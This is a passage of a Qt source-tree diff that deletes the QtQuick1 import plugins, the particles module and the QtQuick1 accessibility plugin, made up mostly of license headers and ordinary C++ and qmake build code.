$QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include - -#include "V1/qdeclarativeparticles_p.h" - -QT_BEGIN_NAMESPACE - -class QParticlesQmlModule : public QDeclarativeExtensionPlugin -{ - Q_OBJECT -public: - virtual void registerTypes(const char *uri) - { - Q_ASSERT(QLatin1String(uri) == QLatin1String("Qt.labs.particles")); - qmlRegisterType(uri,1,0,"ParticleMotion"); - qmlRegisterType(uri,1,0,"ParticleMotionGravity"); - qmlRegisterType(uri,1,0,"ParticleMotionLinear"); - qmlRegisterType(uri,1,0,"ParticleMotionWander"); - qmlRegisterType(uri,1,0,"Particles"); - } -}; - -QT_END_NAMESPACE - -#include "particles.moc" - -Q_EXPORT_PLUGIN2(qmlparticlesplugin, QT_PREPEND_NAMESPACE(QParticlesQmlModule)); - diff --git a/src/imports/particles/particles.pro b/src/imports/particles/particles.pro deleted file mode 100644 index 3c523aca4a..0000000000 --- a/src/imports/particles/particles.pro +++ /dev/null @@ -1,23 +0,0 @@ -TARGET = qmlparticlesplugin -TARGETPATH = Qt/labs/particles -include(../qimportbase.pri) - -HEADERS += \ - V1/qdeclarativeparticles_p.h - -SOURCES += \ - particles.cpp \ - V1/qdeclarativeparticles.cpp - -QT += declarative opengl core gui declarative-private core-private gui-private qtquick1 qtquick1-private widgets-private v8-private - -OTHER_FILES += \ - qmldir - -DESTDIR = $$QT.declarative.imports/$$TARGETPATH -target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH - -qmldir.files += $$PWD/qmldir -qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH - -INSTALLS += target qmldir diff --git a/src/imports/particles/qmldir b/src/imports/particles/qmldir deleted file mode 100644 index aeebd2c99b..0000000000 --- a/src/imports/particles/qmldir +++ /dev/null @@ -1 +0,0 @@ -plugin qmlparticlesplugin diff --git a/src/imports/qt47/plugin.cpp b/src/imports/qt47/plugin.cpp deleted file mode 100644 index 92a375a233..0000000000 --- a/src/imports/qt47/plugin.cpp +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the plugins of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include - -#include - -QT_BEGIN_NAMESPACE - -//![class decl] -class Qt47Plugin : public QDeclarativeExtensionPlugin -{ - Q_OBJECT -public: - virtual void registerTypes(const char *uri) - { - Q_ASSERT(QLatin1String(uri) == QLatin1String("Qt")); - Q_UNUSED(uri); - QDeclarativeQtQuick1Module::defineModule(QDeclarativeQtQuick1Module::Qt47); - } -}; -//![class decl] - -QT_END_NAMESPACE - -#include "plugin.moc" - -//![plugin export decl] -Q_EXPORT_PLUGIN2(qt47plugin, QT_PREPEND_NAMESPACE(Qt47Plugin)); -//![plugin export decl] - diff --git a/src/imports/qt47/qmldir b/src/imports/qt47/qmldir deleted file mode 100644 index cf3a7273d5..0000000000 --- a/src/imports/qt47/qmldir +++ /dev/null @@ -1 +0,0 @@ -plugin qt47plugin diff --git a/src/imports/qt47/qt47.pro b/src/imports/qt47/qt47.pro deleted file mode 100644 index 7bddc89e44..0000000000 --- a/src/imports/qt47/qt47.pro +++ /dev/null @@ -1,20 +0,0 @@ -TARGET = qt47plugin -TARGETPATH = Qt -include(../qimportbase.pri) - -SOURCES += \ - plugin.cpp - -QT += declarative qtquick1 opengl qtquick1-private - - -OTHER_FILES += \ - qmldir - -DESTDIR = $$QT.declarative.imports/$$TARGETPATH -target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH - -qmldir.files += $$PWD/qmldir -qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH - -INSTALLS += target qmldir diff --git a/src/imports/qtquick1/plugin.cpp b/src/imports/qtquick1/plugin.cpp deleted file mode 100644 index c4527ff468..0000000000 --- a/src/imports/qtquick1/plugin.cpp +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the plugins of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include - -#include - -QT_BEGIN_NAMESPACE - -//![class decl] -class QtQuick1Plugin : public QDeclarativeExtensionPlugin -{ - Q_OBJECT -public: - virtual void registerTypes(const char *uri) - { - Q_ASSERT(QLatin1String(uri) == QLatin1String("QtQuick")); - Q_UNUSED(uri); - QDeclarativeQtQuick1Module::defineModule(QDeclarativeQtQuick1Module::QtQuick1); - } -}; -//![class decl] - -QT_END_NAMESPACE - -#include "plugin.moc" - -//![plugin export decl] -Q_EXPORT_PLUGIN2(qtquick1plugin, QT_PREPEND_NAMESPACE(QtQuick1Plugin)); -//![plugin export decl] - diff --git a/src/imports/qtquick1/qmldir b/src/imports/qtquick1/qmldir deleted file mode 100644 index f68e439f53..0000000000 --- a/src/imports/qtquick1/qmldir +++ /dev/null @@ -1 +0,0 @@ -plugin qtquick1plugin diff --git a/src/imports/qtquick1/qtquick1.pro b/src/imports/qtquick1/qtquick1.pro deleted file mode 100644 index f7a9953b5b..0000000000 --- a/src/imports/qtquick1/qtquick1.pro +++ /dev/null @@ -1,20 +0,0 @@ -TARGET = qtquick1plugin -TARGETPATH = QtQuick.1 -include(../qimportbase.pri) - -SOURCES += \ - plugin.cpp - -QT += declarative qtquick1 opengl qtquick1-private - - -OTHER_FILES += \ - qmldir - -DESTDIR = $$QT.declarative.imports/$$TARGETPATH -target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH - -qmldir.files += $$PWD/qmldir -qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH - -INSTALLS += target qmldir diff --git a/src/imports/xmllistmodel/qdeclarativexmllistmodel.cpp b/src/imports/xmllistmodel/qdeclarativexmllistmodel.cpp index ceafb21cc4..db7fec2c97 100644 --- a/src/imports/xmllistmodel/qdeclarativexmllistmodel.cpp +++ b/src/imports/xmllistmodel/qdeclarativexmllistmodel.cpp @@ -625,7 +625,7 @@ void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListProperty \ No newline at end of file +#include diff --git a/src/plugins/accessible/accessible.pro b/src/plugins/accessible/accessible.pro index 71165af784..77cba71ace 100644 --- a/src/plugins/accessible/accessible.pro +++ b/src/plugins/accessible/accessible.pro @@ -1,3 +1,2 @@ TEMPLATE = subdirs SUBDIRS += quick -SUBDIRS += qtquick1 diff --git a/src/plugins/accessible/qtquick1/main.cpp b/src/plugins/accessible/qtquick1/main.cpp deleted file mode 100644 index 12c6fcdc3a..0000000000 --- a/src/plugins/accessible/qtquick1/main.cpp +++ /dev/null @@ -1,106 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativeaccessible.h" -#include "qaccessibledeclarativeview.h" -#include "qaccessibledeclarativeitem.h" - -#include -#include - -#include -#include -#include -#include - -#ifndef QT_NO_ACCESSIBILITY - -QT_BEGIN_NAMESPACE - -class AccessibleQtQuick1Factory : public QAccessiblePlugin -{ -public: - AccessibleQtQuick1Factory(); - - QStringList keys() const; - QAccessibleInterface *create(const QString &classname, QObject *object); -}; - -AccessibleQtQuick1Factory::AccessibleQtQuick1Factory() -{ -} - -QStringList AccessibleQtQuick1Factory::keys() const -{ - QStringList list; - list << QLatin1String("QDeclarativeView"); - list << QLatin1String("QDeclarativeItem"); - return list; -} - -QAccessibleInterface *AccessibleQtQuick1Factory::create(const QString &classname, QObject *object) -{ - if (classname == QLatin1String("QDeclarativeView")) { - QWidget *widget = qobject_cast(object); - if (qobject_cast(widget) != 0) - return new QAccessibleDeclarativeView(widget); - } else if (classname == QLatin1String("QDeclarativeItem")) { - QDeclarativeItem *item = qobject_cast(object); - if (!item->scene()) - return 0; - - QList views = item->scene()->views(); - if (views.isEmpty()) - return 0; - QGraphicsView *view = views.at(0); // Accessibility support for the first view only. - // (Not a problem for QDeclarative) - return new QAccessibleDeclarativeItem(item, view); - } - - return 0; -} - -Q_EXPORT_STATIC_PLUGIN(AccessibleQtQuick1Factory) -Q_EXPORT_PLUGIN2(qtaccessibleqtquick1, AccessibleQtQuick1Factory) - -QT_END_NAMESPACE - -#endif // QT_NO_ACCESSIBILITY diff --git a/src/plugins/accessible/qtquick1/qaccessibledeclarativeitem.cpp b/src/plugins/accessible/qtquick1/qaccessibledeclarativeitem.cpp deleted file mode 100644 index 6748e2602f..0000000000 --- a/src/plugins/accessible/qtquick1/qaccessibledeclarativeitem.cpp +++ /dev/null @@ -1,235 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qaccessibledeclarativeitem.h" - -#include -#include - -QT_BEGIN_NAMESPACE - -QAccessibleDeclarativeItem::QAccessibleDeclarativeItem(QGraphicsObject *item, QGraphicsView *view) - :QDeclarativeAccessible(item) - ,m_item(item) - ,m_view(view) -{ - -} - -int QAccessibleDeclarativeItem::childCount() const -{ - QList children = m_item->childItems(); - return children.count(); -} - -QRect QAccessibleDeclarativeItem::rect() const -{ - QRectF sceneRect = m_item->sceneTransform().mapRect(m_item->boundingRect()); - QPoint pos = m_view->mapFromScene(m_view->mapToGlobal(sceneRect.topLeft().toPoint())); - QSize size = sceneRect.size().toSize(); - return QRect(pos, size); -} - -QRect QAccessibleDeclarativeItem::viewRect() const -{ - QPoint screenPos = m_view->mapToGlobal(m_view->pos()); - return QRect(screenPos, m_view->size()); -} - -bool QAccessibleDeclarativeItem::clipsChildren() const -{ - return static_cast(m_item)->clip(); -} - -static inline bool isAncestor(const QObject *ancestorCandidate, const QObject *child) -{ - while (child) { - if (child == ancestorCandidate) - return true; - child = child->parent(); - } - return false; -} - - -QAccessibleInterface *QAccessibleDeclarativeItem::parent() const -{ - QGraphicsItem *parent = m_item->parentItem(); - QGraphicsObject *parentObj = parent ? parent->toGraphicsObject() : 0; - if (parent && !parentObj) - qWarning("Can not make QGraphicsItems accessible"); - QAccessibleInterface *ancestor = (parentObj - ? new QAccessibleDeclarativeItem(parentObj, m_view) - : QAccessible::queryAccessibleInterface(m_view)); - return ancestor; -} - -QAccessibleInterface *QAccessibleDeclarativeItem::child(int index) const -{ - QList children = m_item->childItems(); - - if (index >= children.count()) - return 0; - - QGraphicsItem *child = children.at(index); - QGraphicsObject *childObject = qobject_cast(child); - if (!childObject) - return 0; - - return new QAccessibleDeclarativeItem(childObject, m_view); -} - -int QAccessibleDeclarativeItem::navigate(QAccessible::RelationFlag rel, int entry, QAccessibleInterface **target) const -{ - Q_UNUSED(rel); - Q_UNUSED(entry); - *target = 0; - return -1; -} - -/*! \reimp */ -QAccessibleInterface *QAccessibleDeclarativeItem::focusChild() const -{ - QGraphicsObject *focusObject = 0; - if (m_item->hasFocus()) { - focusObject = m_item->toGraphicsObject(); - } else { - if (QGraphicsScene *scene = m_view->scene()) { - if (QGraphicsItem *focusItem = scene->focusItem()) { - if (m_item->isAncestorOf(focusItem)) { - focusObject = focusItem->toGraphicsObject(); - } - } - } - } - if (focusObject) - return new QAccessibleDeclarativeItem(focusObject, m_view); //###queryAccessibleInterface? - return 0; -} - -int QAccessibleDeclarativeItem::indexOfChild(const QAccessibleInterface *iface) const -{ - // ### No QAccessibleInterfaces are created with a QGraphicsItem. - // However, we want to support QML, not QGraphicsView in general. - // And since the UI is written in QML, this means we can assume that *all* - // QGraphicsItems are actually QGraphicsObjects - - const QGraphicsObject *childObj = static_cast(iface->object()); - if (m_item == childObj) - return 0; - - QList kids = m_item->childItems(); - int index = kids.indexOf(const_cast(static_cast(childObj))); - if (index != -1) { - ++index; - } - return index; -} - -QAccessible::State QAccessibleDeclarativeItem::state() const -{ - QAccessible::State state; - state.focused = m_item->hasFocus(); - return state; -} - -QAccessible::Role QAccessibleDeclarativeItem::role() const -{ - // ### Workaround for setAccessibleRole() not working. - // Text items are special since they are defined - // entirely from C++ (setting the role from QML works.) -// if (qobject_cast(m_item)) -// return QAccessible::StaticText; - - QVariant v = QDeclarativeAccessibleAttached::property(m_item, "role"); - bool ok; - QAccessible::Role role = (QAccessible::Role)v.toInt(&ok); - if (!ok) // Not sure if this check is needed. - role = QAccessible::Pane; - return role; -} - -bool QAccessibleDeclarativeItem::isAccessible() const -{ - return true; -} - -QString QAccessibleDeclarativeItem::text(QAccessible::Text textType) const -{ - // handles generic behaviour not specific to an item - switch (textType) { - case QAccessible::Name: { - QVariant accessibleName = QDeclarativeAccessibleAttached::property(object(), "name"); - if (!accessibleName.isNull()) - return accessibleName.toString(); - break;} - case QAccessible::Description: { - QVariant accessibleDecription = QDeclarativeAccessibleAttached::property(object(), "description"); - if (!accessibleDecription.isNull()) - return accessibleDecription.toString(); - break;} - case QAccessible::Value: - case QAccessible::Help: - case QAccessible::Accelerator: - default: - break; - } - - // the following blocks handles item-specific behaviour - if (role() == QAccessible::EditableText) { - if (textType == QAccessible::Value) { - QVariant text = object()->property("text"); - return text.toString(); - } else if (textType == QAccessible::Name) { - return object()->objectName(); - } - } else { - if (textType == QAccessible::Name) { - QVariant text = object()->property("text"); - return text.toString(); - } - } - - - return QString(); -} - -QT_END_NAMESPACE diff --git a/src/plugins/accessible/qtquick1/qaccessibledeclarativeitem.h b/src/plugins/accessible/qtquick1/qaccessibledeclarativeitem.h deleted file mode 100644 index 45bf6f941a..0000000000 --- a/src/plugins/accessible/qtquick1/qaccessibledeclarativeitem.h +++ /dev/null @@ -1,82 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QACCESSIBLEDECLARATIVEITEM_H -#define QACCESSIBLEDECLARATIVEITEM_H - -#include "qdeclarativeaccessible.h" - -#include -#include - -QT_BEGIN_NAMESPACE - -class QAccessibleDeclarativeItem : public QDeclarativeAccessible -{ -public: - QAccessibleDeclarativeItem(QGraphicsObject *item, QGraphicsView *view); - - QRect rect() const; - QRect viewRect() const; - - bool clipsChildren() const; - - QAccessibleInterface *focusChild() const; - - QAccessibleInterface *parent() const; - QAccessibleInterface *child(int index) const; - int childCount() const; - int navigate(QAccessible::RelationFlag rel, int entry, QAccessibleInterface **target) const; - int indexOfChild(const QAccessibleInterface *iface) const; - - QAccessible::State state() const; - QAccessible::Role role() const; - QString text(QAccessible::Text) const; - - virtual bool isAccessible() const; -private: - QGraphicsObject *m_item; - QGraphicsView *m_view; -}; - -QT_END_NAMESPACE - -#endif // QACCESSIBLEGRAPHICSVIEWIMPLEMENTATION_H diff --git a/src/plugins/accessible/qtquick1/qaccessibledeclarativeview.cpp b/src/plugins/accessible/qtquick1/qaccessibledeclarativeview.cpp deleted file mode 100644 index e5b78a4517..0000000000 --- a/src/plugins/accessible/qtquick1/qaccessibledeclarativeview.cpp +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qaccessibledeclarativeview.h" -#include "qdeclarativeaccessible.h" -#include "qaccessibledeclarativeitem.h" - - -#ifndef QT_NO_ACCESSIBILITY - -QT_BEGIN_NAMESPACE - -QAccessibleDeclarativeView::QAccessibleDeclarativeView(QWidget *widget) - :QAccessibleWidget(widget) -{ - m_view = static_cast(widget); -} - -int QAccessibleDeclarativeView::childCount() const -{ - return 1; -} - -QAccessibleInterface *QAccessibleDeclarativeView::child(int index) const -{ - if (index == 0) { - QDeclarativeItem *declarativeRoot = m_view->accessibleRootItem(); - return new QAccessibleDeclarativeItem(declarativeRoot, m_view); - } - return 0; -} - -QAccessibleInterface *QAccessibleDeclarativeView::childAt(int x, int y) const -{ - Q_UNUSED(x); - Q_UNUSED(y); - return child(0); // return the top-level QML item -} - -int QAccessibleDeclarativeView::indexOfChild(const QAccessibleInterface *iface) const -{ - if (iface) { - QDeclarativeItem *declarativeRoot = m_view->accessibleRootItem(); - if (declarativeRoot == iface->object()) - return 0; - } - return -1; -} - -QT_END_NAMESPACE - -#endif // QT_NO_ACCESSIBILITY diff --git a/src/plugins/accessible/qtquick1/qaccessibledeclarativeview.h b/src/plugins/accessible/qtquick1/qaccessibledeclarativeview.h deleted file mode 100644 index d6fc0e2384..0000000000 --- a/src/plugins/accessible/qtquick1/qaccessibledeclarativeview.h +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QACCESSIBLEDECLARATIVEVIEW_H -#define QACCESSIBLEDECLARATIVEVIEW_H - -#include -#include - -#include -#include -#include - -QT_BEGIN_NAMESPACE - -#ifndef QT_NO_ACCESSIBILITY - -class QAccessibleDeclarativeView: public QAccessibleWidget -{ -public: - explicit QAccessibleDeclarativeView(QWidget *widget); - - QAccessibleInterface *child(int index) const; - int childCount() const; - QAccessibleInterface *childAt(int x, int y) const; - int indexOfChild(const QAccessibleInterface *iface) const; - -private: - QDeclarativeView *m_view; -}; - -#endif // QT_NO_ACCESSIBILITY - -QT_END_NAMESPACE - -#endif // QACCESSIBLEDECLARATIVEVIEW_H diff --git a/src/plugins/accessible/qtquick1/qtquick1.pro b/src/plugins/accessible/qtquick1/qtquick1.pro deleted file mode 100644 index f4602e4420..0000000000 --- a/src/plugins/accessible/qtquick1/qtquick1.pro +++ /dev/null @@ -1,22 +0,0 @@ -contains(QT_CONFIG, accessibility) { - -TARGET = qtaccessibleqtquick1 -load(qt_plugin) -include ($$PWD/../shared/qaccessiblebase.pri) - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private -DESTDIR = $$QT.gui.plugins/accessible - -QTDIR_build:REQUIRES += "contains(QT_CONFIG, accessibility)" - -DEFINES+=Q_ACCESSIBLE_QUICK_ITEM_ENABLE_DEBUG_DESCRIPTION - -SOURCES += \ - main.cpp \ - qaccessibledeclarativeview.cpp \ - qaccessibledeclarativeitem.cpp - -HEADERS += \ - qaccessibledeclarativeview.h \ - qaccessibledeclarativeitem.h -} diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/abstractliveedittool.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/abstractliveedittool.cpp deleted file mode 100644 index 38ac8a376e..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/abstractliveedittool.cpp +++ /dev/null @@ -1,197 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "abstractliveedittool.h" -#include "qdeclarativeviewinspector_p.h" - -#include - -#include -#include -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -AbstractLiveEditTool::AbstractLiveEditTool(QDeclarativeViewInspector *editorView) - : AbstractTool(editorView) -{ -} - - -AbstractLiveEditTool::~AbstractLiveEditTool() -{ -} - -QDeclarativeViewInspector *AbstractLiveEditTool::inspector() const -{ - return static_cast(AbstractTool::inspector()); -} - -QDeclarativeView *AbstractLiveEditTool::view() const -{ - return inspector()->declarativeView(); -} - 